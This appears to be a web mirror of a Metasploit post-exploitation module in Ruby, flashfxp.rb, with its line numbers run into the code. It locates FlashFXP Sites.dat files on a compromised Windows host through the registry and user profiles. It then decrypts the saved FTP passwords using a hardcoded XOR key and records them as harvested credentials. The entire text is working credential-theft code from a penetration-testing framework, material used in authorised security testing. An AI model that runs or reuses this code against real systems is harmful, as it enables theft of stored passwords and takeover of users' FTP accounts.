Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/post/windows/gather/credentials/flashfxp.rb
Views: 11704
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post6include Msf::Post::Windows::Registry7include Msf::Auxiliary::Report8include Msf::Post::Windows::UserProfiles910def initialize(info = {})11super(12update_info(13info,14'Name' => 'Windows Gather FlashFXP Saved Password Extraction',15'Description' => %q{16This module extracts weakly encrypted saved FTP Passwords from FlashFXP. It17finds saved FTP connections in the Sites.dat file.18},19'License' => MSF_LICENSE,20'Author' => [ 'theLightCosine'],21'Platform' => [ 'win' ],22'SessionTypes' => [ 'meterpreter' ],23'Compat' => {24'Meterpreter' => {25'Commands' => %w[26core_channel_eof27core_channel_open28core_channel_read29core_channel_write30]31}32}33)34)35end3637def run38# Checks if the Site data is stored in a generic location for all users39flash_reg = 'HKLM\\SOFTWARE\\FlashFXP'40flash_reg_ver = registry_enumkeys(flash_reg.to_s)4142# Ini paths43@fxppaths = []4445unless flash_reg_ver.nil?46software_key = "#{flash_reg}\\#{flash_reg_ver.join}"47generic_path = registry_getvaldata(software_key, 'InstallerDataPath') || ''48unless generic_path.include? '%APPDATA%'49@fxppaths << generic_path + '\\Sites.dat'50end51end5253grab_user_profiles.each do |user|54next if user['AppData'].nil?5556tmpath = user['AppData'] + '\\FlashFXP\\'57get_ver_dirs(tmpath)58end5960@fxppaths.each do |fxp|61get_ini(fxp)62end63end6465def get_ver_dirs(path)66session.fs.dir.foreach(path) do |sub|67next if sub =~ /^(\.|\.\.)$/6869@fxppaths << "#{path}#{sub}\\Sites.dat"70end71rescue StandardError72print_error("The following path could not be accessed or does not exist: #{path}")73end7475def get_ini(filename)76config = client.fs.file.new(filename, 'r')77parse = config.read78ini = Rex::Parser::Ini.from_s(parse)7980if ini == {}81print_error("Unable to parse file, may be encrypted using external password: #{filename}")82end8384ini.each_key do |group|85host = ini[group]['IP']86username = ini[group]['user']87epass = ini[group]['pass']88port = ini[group]['port']89next if epass.nil? || (epass == '')9091passwd = decrypt(epass)9293print_good("*** Host: #{host} Port: #{port} User: #{username} Password: #{passwd} ***")94service_data = {95address: Rex::Socket.getaddress(host),96port: port,97protocol: 'tcp',98service_name: 'ftp',99workspace_id: myworkspace_id100}101102credential_data = {103origin_type: :session,104session_id: session_db_id,105post_reference_name: refname,106username: username,107private_data: passwd,108private_type: :password109}110111credential_core = create_credential(credential_data.merge(service_data))112113login_data = {114core: credential_core,115access_level: 'User',116status: Metasploit::Model::Login::Status::UNTRIED117}118119create_credential_login(login_data.merge(service_data))120end121rescue StandardError122print_status("Either could not find or could not open file #{filename}")123end124125def decrypt(pwd)126key = 'yA36zA48dEhfrvghGRg57h5UlDv3'127pass = ''128cipher = [pwd].pack('H*')129130(0..cipher.length - 2).each do |index|131xored = cipher[index + 1, 1].unpack('C').first ^ key[index, 1].unpack('C').first132if ((xored - cipher[index, 1].unpack('C').first < 0))133xored += 255134end135pass << (xored - cipher[index, 1].unpack('C').first).chr136end137return pass138end139end140141142